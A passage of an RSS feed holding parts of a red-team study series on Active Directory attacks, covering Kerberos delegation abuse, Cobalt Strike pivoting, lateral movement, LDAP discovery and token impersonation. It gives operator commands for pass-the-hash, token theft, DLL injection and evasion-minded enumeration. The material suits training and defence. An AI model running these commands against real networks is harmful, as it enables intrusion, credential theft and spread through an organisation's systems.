impersonated user.</li></ul><h3>Protocol Transition (S4U2self)</h3><ul><li>Allows delegation even when the user didn’t authenticate via Kerberos (e.g., via NTLM).</li><li>Requires TRUSTED_TO_AUTH_FOR_DELEGATION flag on the account.</li><li>The service can request a ticket for any user to itself.</li><li>Used alongside S4U2proxy to complete impersonation chain.</li></ul><h3>Resource-Based Constrained Delegation (RBCD)</h3><ul><li>Reverse of constrained delegation.</li><li>The back-end service specifies who can delegate <strong>to it</strong> using:</li><li>msDS-AllowedToActOnBehalfOfOtherIdentity attribute.</li><li>Doesn’t require Domain Admin.</li></ul><p>Abusable if attacker:</p><ul><li>Controls a principal with an SPN.</li><li>Has write access to the RBCD attribute of the target system.</li></ul><h3>🎯 Attack Techniques</h3><h3>AS-REP Roasting</h3><ul><li>Target users without pre-authentication.</li><li>Crack the AS-REP response offline to recover their password.</li></ul><h3>Kerberoasting</h3><ul><li>Request a service ticket (TGS) for an SPN.</li><li>Crack the encrypted portion offline to recover the password hash.</li></ul><h3>S4U Abuse (Constrained Delegation)</h3><p>With protocol transition enabled:</p><ul><li>Use S4U2self to impersonate a user.</li><li>Use S4U2proxy to access a service as that user.</li></ul><p>Without protocol transition:</p><ul><li>Need a real service ticket from a user.</li><li>Use only S4U2proxy to impersonate that user to another service.</li></ul><h3>🔥 Unconstrained Delegation</h3><ul><li>Service gets full TGT of users.</li><li>If compromised, attacker can use TGTs to impersonate users to <em>any</em> service.</li></ul><h3>🧯 Constrained Delegation</h3><ul><li>Attacker abuses msDS-AllowedToDelegateTo to impersonate users <strong>only to allowed SPNs</strong>.</li><li>Requires service ticket (S4U2proxy) or TGT (S4U2self).</li></ul><h3>🔄 Service Name Substitution</h3><ul><li>Modify an unused ticket (e.g. for TIME service) to access something else (e.g. CIFS), <strong>if both use the same account</strong>.</li></ul><h3>🖥️ Computer Takeover with S4U2self</h3><ul><li>Capture TGT from a computer (e.g. via PetitPotam).</li><li>Can’t use directly for access, but can request service tickets as another user via S4U2self.</li></ul><h3>🧱 Resource-Based Constrained Delegation (RBCD)</h3><p>Attacker needs:</p><ol><li>Write access to msDS-AllowedToActOnBehalfOfOtherIdentity.</li><li>A controlled account with an SPN (e.g. a fake computer).</li></ol><p>Add your account as a valid delegate → Impersonate users to backend service.</p><h3>🧳 <strong>Lateral Movement Services Cheat Sheet</strong></h3><p>Each lateral movement technique requires a specific type of service ticket:</p><ul><li><strong>SMB:</strong> Requires CIFS ticket. Used to list/upload/delete files.</li><li><strong>PsExec:</strong> Requires CIFS. Executes binaries remotely via SCM.</li><li><strong>WinRM:</strong> Requires HTTP. Used for remote PowerShell access.</li><li><strong>WMI:</strong> Requires RPCSS, HOST, or RestrictedKrbHost.</li><li><strong>RDP:</strong> Requires TERMSRV and HOST.</li><li><strong>MSSQL:</strong> Requires MSSQLSvc.</li></ul><h3>🛠️ <strong>Tools You Should Know</strong></h3><ul><li><strong>Rubeus:</strong> All-purpose Kerberos abuse tool (ticket management, S4U attacks, etc.).</li><li><strong>ldapsearch:</strong> Enumerate SPNs, delegation settings, and attributes in LDAP.</li><li><strong>PowerView:</strong> Inspect AD permissions and ACLs.</li><li><strong>SharpSystemTriggers:</strong> Triggers remote authentication from systems (e.g., using print spooler).</li></ul><h3>🧠 Quick Concepts to Memorize</h3><ul><li><strong>TGT</strong> = Golden key for requesting service access.</li><li><strong>PAC</strong> = Who you are + your privileges.</li><li><strong>SPN</strong> = Unique service name like cifs/server.contoso.com.</li><li><strong>Delegation</strong> = A service acting “as you” to another service.</li><li><strong>Service Ticket</strong> = Proof you can access a service.</li><li><strong>S4U2self</strong> = Impersonate user to self.</li><li><strong>S4U2proxy</strong> = Impersonate user to another service.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9311fcd50252" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[So You Want to Red Team — A Guide to Becoming a Top Tier Red Team Operator (Pt. 13)]]></title>
            <link>https://medium.com/@PDaudt_InfoSec/so-you-want-to-red-team-a-guide-to-becoming-a-top-tier-red-team-operator-pt-13-ed79492181a6?source=rss-3ffb2de6d5a5------2</link>
            <guid isPermaLink="false">https://medium.com/p/ed79492181a6</guid>
            <dc:creator><![CDATA[Parker Daudt]]></dc:creator>
            <pubDate>Mon, 28 Jul 2025 05:21:52 GMT</pubDate>
            <atom:updated>2025-07-28T05:21:52.359Z</atom:updated>
            <content:encoded><![CDATA[<h3>🧭 Pivoting</h3><blockquote><em>MITRE ATT&amp;CK ID: T1090 — Proxy</em></blockquote><p>Pivoting allows red teamers to route traffic through a compromised host (a Beacon) to reach internal systems that would otherwise be inaccessible. There are two primary methods covered in this chapter:</p><h3>🔁 SOCKS Proxy</h3><p><strong>Purpose:</strong> Tunnel internal traffic via a Beacon<br> <strong>Tool:</strong> socks command in Cobalt Strike<br> <strong>Proxy Clients:</strong></p><ul><li><strong>Linux</strong>: proxychains</li><li><strong>Windows</strong>: Proxifier</li></ul><p><strong>Advantages:</strong></p><ul><li>Allows using tools from attacker machine instead of uploading them</li><li>Minimizes forensic footprint (no artifacts on target)</li><li>Enables GUI tools (e.g., RSAT) from attacker box</li></ul><p><strong>🛠️ Example Workflow:</strong></p><pre>beacon&gt; socks 1080                # Start SOCKS4a proxy</pre><h4>Proxifier Setup (Windows)</h4><ol><li>Add a new proxy: team server IP, port 1080</li><li>Create a proxification rule for the internal IP range</li><li>Launch tools like ADExplorer64.exe through the proxy</li></ol><h4>Proxychains Setup (Linux)</h4><pre># /etc/proxychains.conf<br># Comment out: proxy_dns<br># Add:<br>socks4 10.0.0.5 1080<br><br># Usage:<br>proxychains nmap -n -sT -Pn -p 445 lon-dc-1</pre><h3>🔑 Authentication Methods</h3><h4>Plaintext Credentials</h4><pre>$Cred = Get-Credential CONTOSO\rsteel<br>Get-ADUser -Filter &#39;ServicePrincipalName -like &quot;*&quot;&#39; -Credential $Cred -Server lon-dc-1</pre><p>Kerberos Tickets via Rubeus</p><pre>Rubeus.exe createnetonly /domain:CONTOSO.COM /username:rsteel /password:FakePass /ticket:rsteel.kirbi /show<br>Rubeus.exe klist                     # View ticket<br>Rubeus.exe asktgs /service:ldap/lon-dc-1 /ticket:rsteel.kirbi /ptt</pre><p>PowerShell RSAT Usage</p><pre>ipmo ActiveDirectory<br>Get-ADUser -Filter &#39;ServicePrincipalName -like &quot;*&quot;&#39; -Server lon-dc-1</pre><p>Linux + Impacket + Kerberos</p><pre>ticketConverter.py rsteel.kirbi rsteel.ccache<br>export KRB5CCNAME=/mnt/c/Users/Attacker/Desktop/rsteel.ccache<br>proxychains smbexec.py -no-pass -k -dc-ip lon-dc-1 CONTOSO.COM/rsteel@lon-ws-1</pre><h3>🔁 Reverse Port Forwards</h3><p><strong>Purpose:</strong> Route traffic out of a network that has egress restrictions<br> <strong>Syntax:</strong></p><pre>rportfwd [bind_port] [forward_host] [forward_port]</pre><p>Example: Access team server HTTP via reverse tunnel</p><pre>beacon&gt; run netsh advfirewall firewall add rule name=&quot;Debug&quot; dir=in action=allow protocol=TCP localport=28190<br>beacon&gt; rportfwd 28190 localhost 80<br>beacon&gt; remote-exec winrm lon-ws-1 iwr http://lon-wkstn-1:28190/test</pre><p>Clean Up</p><pre>beacon&gt; rportfwd stop 28190<br>beacon&gt; run netsh advfirewall firewall delete rule name=&quot;Debug&quot;</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ed79492181a6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[So You Want to Red Team — A Guide to Becoming a Top Tier Red Team Operator (Pt. 12)]]></title>
            <link>https://medium.com/@PDaudt_InfoSec/so-you-want-to-red-team-a-guide-to-becoming-a-top-tier-red-team-operator-pt-12-dc105ff76cff?source=rss-3ffb2de6d5a5------2</link>
            <guid isPermaLink="false">https://medium.com/p/dc105ff76cff</guid>
            <dc:creator><![CDATA[Parker Daudt]]></dc:creator>
            <pubDate>Sat, 26 Jul 2025 20:40:10 GMT</pubDate>
            <atom:updated>2025-07-26T20:40:10.850Z</atom:updated>
            <content:encoded><![CDATA[<h3>🔁 Lateral Movement</h3><p><strong>MITRE Tactic:</strong> TA0008 — Lateral Movement</p><p>Lateral Movement refers to the techniques adversaries use to access additional systems within a compromised network. Once administrative credentials are obtained, attackers can use legitimate remote protocols to deploy payloads and control new hosts.</p><p>Cobalt Strike offers two key primitives for lateral movement: jump and remote-exec.</p><h3>🧨 jump – The One-Command Lateral Move</h3><p>The jump command automates lateral movement by:</p><ul><li>Uploading a payload to the target</li><li>Executing it remotely</li><li>Connecting to the new beacon (if peer-to-peer)</li><li>Cleaning up the payload</li></ul><h3>Syntax:</h3><pre>beacon&gt; jump [exploit] [target] [listener]</pre><p>Available Techniques:</p><p>psexec (x86): Use a service to run a service EXE artifact</p><p>psexec64 (x64): Same as above, for 64-bit</p><p>psexec_psh (x86): Use PowerShell one-liner via service</p><p>winrm (x86): Run PowerShell via WinRM</p><p>winrm64 (x64): Same, for 64-bit</p><h3>🧱 remote-exec – Manual Remote Execution</h3><p>Allows precise control over lateral movement by specifying the method, target, and command.</p><h3>Syntax:</h3><pre>beacon&gt; remote-exec [method] [target] [command]</pre><p>Supported Methods:</p><p>psexec: Uses Service Control Manager</p><p>winrm: Uses PowerShell over WS-Management</p><p>wmi: Executes command via Windows Management Instrumentation</p><h3>🛠️ PsExec — Loud But Effective</h3><p>Uses Service Control Manager to run a service that injects shellcode.<br> ✅ <strong>Runs as SYSTEM</strong><br> 🚫 <strong>Leaves evidence</strong>: Creates a temporary service and drops a binary to disk.</p><h3>Example:</h3><pre>beacon&gt; jump psexec64 lon-ws-1 saaaaaaaaaaaaaamb</pre><h3>🧬 Custom Techniques via Aggressor Script</h3><p>Extend jump and remote-exec using BOFs, .NET assemblies, PowerShell, and custom DLLs.</p><h3>🔀 Example: SCShell</h3><p>Uses an existing service, modifies it temporarily, executes payload, then restores it.</p><pre>beacon&gt; jump scshell64 lon-ws-1 smb</pre><p>✅ Minimal footprint<br> 🔧 Requires loading scshell.cna in Script Manager</p><h3>💻 LOLBAS — Living Off The Land</h3><p>Legitimate Windows binaries abused for lateral movement. Common in adversary emulation.</p><h3>🧪 Example: MavInject</h3><p>Injects DLL into a running process:</p><pre>beacon&gt; remote-exec winrm lon-ws-1 Get-Process -IncludeUserName ...<br>beacon&gt; upload smb_x64.dll<br>beacon&gt; remote-exec wmi lon-ws-1 mavinject.exe 1992 /INJECTRUNNING smb_x64.dll</pre><p>✅ Fileless DLL injection<br> 🚫 Monitored by AppLocker, WDAC, Sysmon</p><h3>🔐 Security Logon Types</h3><p>Affects ability to access credentials or move again from the new host.<br> 🚫 <strong>PsExec</strong> and <strong>WinRM</strong> use <strong>Network</strong> logon, which does <strong>not</strong> store creds in LSASS.ss</p><pre>| Logon Type         | Creds in LSASS?          | Notes                    |<br>|--------------------|--------------------------|--------------------------|<br>| Interactive        | Yes                      | Typical desktop login    |<br>| Network            | No                       | WinRM, PsExec            |<br>| Service            | Yes                      | GPO services, PsExec     |<br>| RemoteInteractive  | Yes                      | RDP                      |<br>| NewCredentials     | Yes (outbound)           | runas /netonly           |<br>| Batch              | Yes                      | Scheduled Tasks          |</pre><h3>🧨 Consequence:</h3><p>After lateral movement, commands like PowerView may fail due to lack of a TGT or cached credentials.</p><h3>🛠️ Fix:</h3><p>Use make_token or ptt (pass-the-ticket) to inject creds and enable further action.</p><p>📊 Summary</p><pre>| Technique           | Tool/Command                   | Notes                                              |<br>|---------------------|--------------------------------|----------------------------------------------------|<br>| Jump                | `jump winrm64 lon-ws-1 smb`    | Full automation                                    |<br>| Remote Exec         | `remote-exec winrm ...`        | Manual control                                     |<br>| PsExec              | `jump psexec64 ...`            | Runs as SYSTEM, leaves trace                       |<br>| SCShell             | `jump scshell64 ...`           | Minimal footprint, CNA required                    |<br>| LOLBAS (MavInject)  | `mavinject.exe PID DLL`        | DLL injection with signed binary                   |<br>| Token Injection     | `make_token`, `ptt`            | Grants usable credentials post-lateral move        |</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dc105ff76cff" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[So You Want to Red Team — A Guide to Becoming a Top Tier Red Team Operator (Pt. 11)]]></title>
            <link>https://medium.com/@PDaudt_InfoSec/so-you-want-to-red-team-a-guide-to-becoming-a-top-tier-red-team-operator-pt-11-0e28adc3ba07?source=rss-3ffb2de6d5a5------2</link>
            <guid isPermaLink="false">https://medium.com/p/0e28adc3ba07</guid>
            <dc:creator><![CDATA[Parker Daudt]]></dc:creator>
            <pubDate>Sat, 26 Jul 2025 20:39:59 GMT</pubDate>
            <atom:updated>2025-07-26T20:39:59.768Z</atom:updated>
            <content:encoded><![CDATA[<h3>🧭 Discovery</h3><p>🔍 <strong>Discovery</strong> is a tactic (TA0007) where adversaries enumerate their environment to identify valuable systems, users, groups, and configurations. These steps are typically prerequisites for <strong>Lateral Movement</strong>, <strong>Privilege Escalation</strong>, or <strong>Collection</strong>.</p><p>Once credentials are obtained, attackers will often conduct domain enumeration to answer questions like:</p><ul><li>Which users are domain admins?</li><li>Which computers do those users access?</li><li>Are there vulnerable or misconfigured systems?</li><li>What paths exist for privilege escalation?</li></ul><p>Most enumeration is performed via <strong>LDAP</strong>, <strong>LDAPS</strong>, or <strong>ADWS</strong>, and detection is a key concern — many tools (like BloodHound’s collectors) have known signatures. Therefore, stealthier enumeration strategies using custom LDAP queries or tools like ldapsearch + <strong>BOFHound</strong> are preferred.</p><h3>🔧 Techniques</h3><p>🧾 ldapsearchUsed for querying AD objects such as users, computers, OUs, GPOs</p><p>🧬 Bitwise LDAP Filters: Used for identifying unconstrained delegation, disabled accounts, or nested groups</p><p>🧰 BOFHound: Parses raw ldapsearch output into BloodHound-compatible JSON files</p><p>🕸️ BloodHound CE: Visualizes AD relationships (run in Docker, manual data ingestion)</p><p>📂 Restricted Groups &amp; GptTmpl.inf: Finds GPO-based local admin assignments</p><p>⚙️ WMI Filters: Evaluates whether GPOs apply based on WMI query criteria</p><h3>🧪 Sample Commands and Filters</h3><p>🔎 Query all normal user accounts</p><pre>ldapsearch (samAccountType=805306368)</pre><p>🔐 Query users with adminCount=1</p><pre>ldapsearch (&amp;(samAccountType=805306368)(adminCount=1))</pre><p>🙅‍♂️ Exclude krbtgt</p><pre>ldapsearch (&amp;(samAccountType=805306368)(adminCount=1)(!(name=krbtgt)))</pre><p>💡 Bitwise match for unconstrained delegation</p><pre>ldapsearch (&amp;(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))</pre><p>🔁 LDAP_MATCHING_RULE_IN_CHAIN (nested group resolution)</p><pre>ldapsearch &quot;(memberof:1.2.840.113556.1.4.1941:=CN=Domain Admins,...)&quot; --attributes samaccountname</pre><p>🎯 Targeted attribute return</p><pre>ldapsearch (...) --attributes name,memberof,ntsecuritydescriptor</pre><h3>🧠 OPSEC Considerations</h3><p>❌ Expensive Queries: Too many results returned</p><p>🐢 Long Search Time: Too many attributes or wide scope</p><p>⚠️ Inefficient Queries: &lt;10% result-to-visit ratio</p><p>🔍 Signatured Queries: Known queries from BloodHound, SharpHound, etc.</p><h3>🧩 BOFHound Workflow</h3><p>Copy logs from Cobalt Strike team server:</p><pre>scp -r attacker@10.0.0.5:/opt/cobaltstrike/logs .</pre><p>Run BOFHound:</p><pre>bofhound -i logs/</pre><p>Ingest .json into BloodHound CE</p><h3>🗂️ Restricted Groups from GPOs</h3><p>GPOs can assign domain groups as local admins using .inf files in SYSVOL (e.g. GptTmpl.inf). This cannot be found via LDAP alone and must be manually parsed and added to BloodHound.</p><p>🔧 Example Cypher Query to map Server Admins to a system:</p><pre>MATCH (x:Computer{objectid:&#39;&lt;computer_sid&gt;&#39;})<br>MATCH (y:Group{objectid:&#39;&lt;group_sid&gt;&#39;})<br>MERGE (y)-[:AdminTo]-&gt;(x)</pre><h3>🧮 WMI Filters</h3><p>WMI filters control GPO application based on system info (e.g., Windows version). These are not visualized in BloodHound but can prevent GPOs from applying despite expected OU matches.</p><p>🔍 Example LDAP Query for WMI Filters:</p><pre>ldapsearch (objectClass=msWMI-Som) --attributes name,msWMI-Name,msWMI-Parm2</pre><p>📊 Summary</p><pre>| Component           | Purpose                             | Key Commands                                  |<br>|---------------------|-------------------------------------|-----------------------------------------------|<br>| LDAP Queries        | Domain enumeration                  | `ldapsearch`                                  |<br>| BOFHound            | Converts CS logs to BloodHound JSON | `bofhound -i logs/`                           |<br>| BloodHound CE       | Graph-based privilege pathing       | BloodHound UI                                 |<br>| OPSEC Filters       | Avoid detection via tuned queries   | Use indexed fields, fewer attributes          |<br>| Restricted Groups   | Reveal local admin paths            | Parse `GptTmpl.inf`, add via Cypher           |<br>| WMI Filters         | GPO application criteria            | Check `gPCWQLFilter` and `msWMI-Parm2`        |</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0e28adc3ba07" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[So You Want to Red Team — A Guide to Becoming a Top Tier Red Team Operator (Pt. 10)]]></title>
            <link>https://medium.com/@PDaudt_InfoSec/so-you-want-to-red-team-a-guide-to-becoming-a-top-tier-red-team-operator-pt-10-5116d6e390b3?source=rss-3ffb2de6d5a5------2</link>
            <guid isPermaLink="false">https://medium.com/p/5116d6e390b3</guid>
            <dc:creator><![CDATA[Parker Daudt]]></dc:creator>
            <pubDate>Sat, 26 Jul 2025 20:39:50 GMT</pubDate>
            <atom:updated>2025-07-26T20:39:50.228Z</atom:updated>
            <content:encoded><![CDATA[<h3>🧑‍💻 User Impersonation</h3><p><strong>MITRE Technique: [T1550] Use Alternate Authentication Material</strong></p><p>User Impersonation is a technique adversaries use to assume the identity of another user after obtaining authentication credentials. These credentials may be in the form of plaintext passwords, NTLM hashes, Kerberos tickets, or access tokens. The primary goal is to use these credentials to interact with systems and services as if the adversary were the original user.</p><h3>🎯 Key Concepts</h3><ul><li><strong>Logon Sessions:</strong> Contain user identity, SID, domain, authentication method, and token info.</li><li><strong>Access Tokens:</strong> Provide the permissions and identity context used by Windows for access decisions.</li><li><strong>Credential Cache:</strong> Holds usable credential material like hashes or tickets for active sessions.</li></ul><h3>🔑 Token Impersonation</h3><p>🪪 Make Token</p><ul><li>Use plaintext credentials to create and impersonate an access token.</li><li>Does not require high integrity.</li><li>Example:<br> beacon&gt; make_token CONTOSO\rsteel Passw0rd!</li></ul><p><strong>🎭 Steal Token</strong></p><ul><li>Steal a primary token from another process and impersonate it.</li><li>Requires high integrity.</li><li>Example:</li></ul><pre>beacon&gt; ps<br>beacon&gt; steal_token 5248</pre><p><strong>🔄 RevertToSelf</strong></p><ul><li>End impersonation and revert to the original Beacon token.</li><li>Example: beacon&gt; rev2self</li></ul><p>🗂️ <strong>Token Store</strong></p><ul><li>Store impersonated tokens for reuse even after the original process ends.</li><li>Example:</li></ul><pre>beacon&gt; token-store steal 5248<br>beacon&gt; token-store use 0</pre><h3>🔁 Pass-the-Hash [T1550.002]</h3><p>Use NTLM hashes to authenticate without needing the plaintext password.</p><ul><li>Example:</li></ul><pre>beacon&gt; pth CONTOSO\rsteel fc525c9683e8fe067095ba2ddc971889</pre><p>⚠️ NTLM usage is declining; this method is increasingly detected or blocked in hardened environments.</p><h3>🎟️ Pass-the-Ticket [T1550.003]</h3><p>Leverage Kerberos TGTs or service tickets for impersonation.</p><p><strong>🪪 Requesting TGTs with Rubeus</strong></p><ul><li>Generate a TGT using AES256 key material.</li><li>Base64 ticket output.</li><li>Example:</li></ul><pre>Rubeus.exe asktgt /user:rsteel /domain:CONTOSO.COM /aes256:&lt;key&gt;</pre><p><strong>📥 Injecting TGTs with Beacon</strong></p><ul><li>Create a new logon session with make_token.</li><li>Inject .kirbi ticket with kerberos_ticket_use.</li><li>View tickets with klist.</li></ul><p><strong>🔧 Rubeus Alternative</strong></p><ul><li>Use createnetonly to spawn a net-only process.</li><li>Inject tickets using ptt.</li><li>Use steal_token on the spawned PID to assume context.</li></ul><h3>🧬 Process Injection [T1055]</h3><p>Inject Beacon shellcode into another user’s process to assume their context directly.</p><ul><li>Requires high-integrity.</li><li>Example:</li></ul><pre>beacon&gt; inject 5248 x64 http</pre><p>📊 Summary</p><pre>| Technique             | MITRE ID     | Requires High Integrity | Notes                                               |<br>|-----------------------|--------------|--------------------------|----------------------------------------------------|<br>| Make Token            | T1550        | ❌                       | Uses plaintext creds; network-only access          |<br>| Steal Token           | T1134.001    | ✅                       | Steal primary token from other processes           |<br>| Token Store           | Internal     | ✅                       | Keeps tokens alive for reuse                       |<br>| Pass-the-Hash (PtH)   | T1550.002    | ✅ (for LSASS patch)     | Inject NTLM hash without cracking                  |<br>| Pass-the-Ticket (PtT) | T1550.003    | ✅                       | Inject forged or stolen Kerberos tickets           |<br>| Process Injection     | T1055        | ✅                       | Injects shellcode into other user’s process context|</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5116d6e390b3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>